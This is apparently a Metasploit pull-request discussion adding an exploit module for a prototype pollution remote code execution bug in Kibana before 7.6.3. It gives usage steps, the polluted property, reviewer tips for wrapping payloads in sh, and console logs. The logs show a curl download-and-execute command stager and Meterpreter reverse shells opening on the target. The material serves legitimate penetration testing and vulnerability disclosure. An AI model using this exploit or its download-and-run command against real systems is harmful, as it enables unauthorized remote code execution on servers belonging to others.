Kibana < 7.6.3 Upgrade Assistant Telemetry RCE (No-CVE)

[h00die]

This PR adds a new exploit module against Kibana < 7.6.3. This one is interesting because other than the hackerone page about the finding, I can't seem to find any other references to it on the Internet. Not sure if this was an attempt to silent patch or not, but I guess I'm bringing it to light now.

Kibana before version 7.6.3 suffers from a prototype pollution bug within the
Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
able to execute arbitrary code.
Code execution is possible through two different ways. Either by sending data
directly to Elastic, or using Kibana to submit the same queries. Either method
enters the polluted prototype for Kibana to read.

Kibana will either need to be restarted, or collection happens (unknown time) for
the payload to execute. Once it does, cleanup must delete the .kibana_1 index
for Kibana to restart successfully. Once a callback does occur, cleanup will
happen allowing Kibana to be successfully restarted on next attempt.

Verification

1. Install the application
2. Start msfconsole
3. Do: use use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
4. Do: set rhost [ip]
5. Do: set lhost [ip]
6. Do: run
7. You should get a shell as the kibana user.

[jheysel-r7]

Thanks for the module @h00die! A couple minor comments. I wasn't able to get a session by waiting for collection to happen, however I did find success when restarting the container manually:

msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > options

Module options (exploit/linux/http/kibana_upgrade_assistant_telemetry_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        Elastic Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9200             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the Kibana/Elastic Application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME                    no        Elastic User to login with
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.199.158   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   KIBANA



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 0
target => 0
msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > run

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Creating index
[*] Index already exists
[*] Sending index map
[*] Sending telemetry data with payload
[*] Using URL: http://172.16.199.158:8080/v1vZ7etrV1dU9
[*] Generated command stager: ["curl -so /tmp/qBjjQlRq http://172.16.199.158:8080/v1vZ7etrV1dU9;chmod +x /tmp/qBjjQlRq;/tmp/qBjjQlRq;rm -f /tmp/qBjjQlRq"]
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
[*] Client 172.17.0.3 (curl/7.29.0) requested /v1vZ7etrV1dU9
[*] Sending payload to 172.17.0.3 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.3
[*] Meterpreter session 2 opened (172.16.199.158:4444 -> 172.17.0.3:33918) at 2023-10-04 14:59:03 -0800
[*] Removing telemetry data to prevent Kibana locking on restart

meterpreter > getuid
Server username: kibana
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.7.1908 (Linux 5.15.0-84-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

[jheysel-r7]

Do you think it would be worth adding ARCH_CMD so we can include fetch_payloads?

[smcintyre-r7]

This may or may not be executing the payload in the context of a shell. My guess is that it is not. If for some reason the ARCH_CMD payloads aren't running correctly, I'd guess this is your problem and you need to wrap the payload in something akin to /bin/sh -c '#{payload.encoded}'.

[jheysel-r7]

If the above doesn't work, or you want to avoid escaping single quotes, this might be useful: sh -c $@|sh . echo #{payload.encoded}
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html

[h00die]

re-written to use fetch payloads

[jheysel-r7]

Thanks for the changes @h00die. Everything's looking good. I'm just going to sneak in a small documentation change and get this landed.

Elastic Target

msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > run target=0 RPORT=9200 rhost=127.0.0.1 lhost=172.16.199.158 fetch_srvhost=172.16.199.158

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Creating index
[*] Sending index map
[*] Sending telemetry data with payload
[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
[*] Sending stage (3045380 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:48838) at 2023-10-06 12:26:59 -0800
[*] Removing telemetry data to prevent Kibana locking on restart

meterpreter > getuid
Server username: kibana
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.7.1908 (Linux 5.15.0-84-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Kibana Target

msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > run target=1 RPORT=5601 rhost=127.0.0.1 lhost=172.16.199.158 fetch_srvhost=172.16.199.158

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Creating index
[*] Sending index map
[*] Sending telemetry data with payload
[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
[*] Sending stage (3045380 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:53982) at 2023-10-06 11:46:31 -0800
[-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1

meterpreter > getuid
Server username: kibana
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.7.1908 (Linux 5.15.0-84-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

[jheysel-r7]

Release Notes

Kibana before version 7.6.3 suffers from a prototype pollution bug within the Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're able to execute arbitrary code in the context of the Kibana user. There is no CVE for this at the moment.